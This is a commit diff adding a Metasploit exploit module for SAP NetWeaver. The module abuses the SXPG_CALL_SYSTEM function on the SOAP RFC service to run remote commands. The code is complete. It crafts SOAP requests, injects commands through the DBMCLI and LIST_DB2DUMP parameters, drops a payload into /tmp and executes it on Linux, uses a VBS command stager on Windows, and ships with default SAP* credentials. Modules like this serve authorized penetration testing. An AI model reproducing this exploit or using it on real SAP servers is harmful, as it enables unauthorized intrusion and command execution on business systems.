Land rapid7#1678, @nmonkee's sap_soap_rfc_sxpg_call_system_exec exploit

Author: jvazquez-r7

modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb

@@ -0,0 +1,200 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+
+	Rank = GreatRanking
+
+	include Msf::Exploit::CmdStagerVBS
+	include Msf::Exploit::EXE
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize
+		super(
+			'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution',
+			'Description' => %q{
+					This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
+				RFC Service, to execute remote commands. This module needs SAP credentials with
+				privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
+				successfully on Windows 2008 64 bits and Linux 64 bits platforms.
+			},
+			'References' =>
+				[
+					[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
+				],
+			'DisclosureDate' => 'Mar 26 2013',
+			'Platform'       => ['win', 'unix'],
+			'Targets' => [
+				[ 'Linux',
+					{
+						'Arch'     => ARCH_CMD,
+						'Platform' => 'unix'
+						#'Payload'  =>
+							#{
+								#'DisableNops' => true,
+								#'Space'       => 232,
+								#'Compat'      =>
+									#{
+										#'PayloadType' => 'cmd',
+										#'RequiredCmd' => 'perl ruby',
+									#}
+							#}
+					}
+				],
+				[ 'Windows x64',
+					{
+						'Arch' => ARCH_X86_64,
+						'Platform' => 'win'
+					}
+				]
+			],
+			'DefaultTarget' => 0,
+			'Privileged' => false,
+			'Author' =>
+				[
+					'nmonkee'
+				],
+			'License' => MSF_LICENSE
+		)
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new('CLIENT', [true, 'SAP Client', '001']),
+				OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+				OptString.new('PASSWORD', [true, 'Password', '06071992'])
+			], self.class)
+		register_advanced_options(
+			[
+				OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),
+			], self.class)
+	end
+
+	def send_soap_request(data)
+		res = send_request_cgi({
+			'uri' => '/sap/bc/soap/rfc',
+			'method' => 'POST',
+			'data' => data,
+			'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+			'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+			'ctype' => 'text/xml; charset=UTF-8',
+			'headers' => {
+				'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+			},
+			'vars_get' => {
+				'sap-client' => datastore['CLIENT'],
+				'sap-language' => 'EN'
+			}
+		})
+		return res
+	end
+
+	def build_soap_request(command, sap_command, sap_os)
+		data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>"
+		data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
+		data << "<env:Body>"
+		data << "<n1:SXPG_CALL_SYSTEM xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
+		data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>"
+		data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>"
+		data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>"
+		data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>"
+		data << "</n1:SXPG_CALL_SYSTEM>"
+		data << "</env:Body>"
+		data << "</env:Envelope>"
+		return data
+	end
+
+	def check
+		data = rand_text_alphanumeric(4 + rand(4))
+		res = send_soap_request(data)
+		if res and res.code == 500 and res.body =~ /faultstring/
+			return Exploit::CheckCode::Detected
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		if target.name =~ /Windows/
+			linemax = datastore['PAYLOAD_SPLIT']
+			vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250
+			print_status("#{rhost}:#{rport} - Sending SOAP SXPG_CALL_SYSTEM request")
+			execute_cmdstager({ :delay => 0.35, :linemax => linemax })
+		elsif target.name =~ /Linux/
+			file = rand_text_alphanumeric(5)
+			stage_one = create_unix_payload(1,file)
+			print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")
+			res = send_soap_request(stage_one)
+			if res and res.code == 200 and res.body =~ /External program terminated/
+				print_good("#{rhost}:#{rport} - Payload dump was successful")
+			else
+				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
+			end
+			stage_two = create_unix_payload(2,file)
+			print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
+			send_soap_request(stage_two)
+		end
+	end
+
+	def create_unix_payload(stage, file)
+		command = ""
+		if target.name =~ /Linux/
+			if stage == 1
+				my_payload = payload.encoded.gsub(" ","\t")
+				my_payload.gsub!("&","&amp;")
+				my_payload.gsub!("<","&lt;")
+				command = "-o /tmp/" + file + " -n pwnie" + "\n!"
+				command << my_payload
+				command << "\n"
+			elsif stage == 2
+				command = "-ic /tmp/" + file
+			end
+
+		end
+
+		return build_soap_request(command.to_s, "DBMCLI", "ANYOS")
+	end
+
+	def execute_command(cmd, opts)
+		command = cmd.gsub(/&/, "&amp;")
+		command.gsub!(/%TEMP%\\/, "")
+		data = build_soap_request("&amp;#{command}", "LIST_DB2DUMP", "ANYOS")
+		begin
+			res = send_soap_request(data)
+			if res and res.code == 200
+				return
+			else
+				if res and res.body =~ /faultstring/
+					error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
+					0.upto(error.length-1) do |i|
+						vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
+					end
+				end
+				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
+			end
+		rescue ::Rex::ConnectionError
+			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
+		end
+	end
+end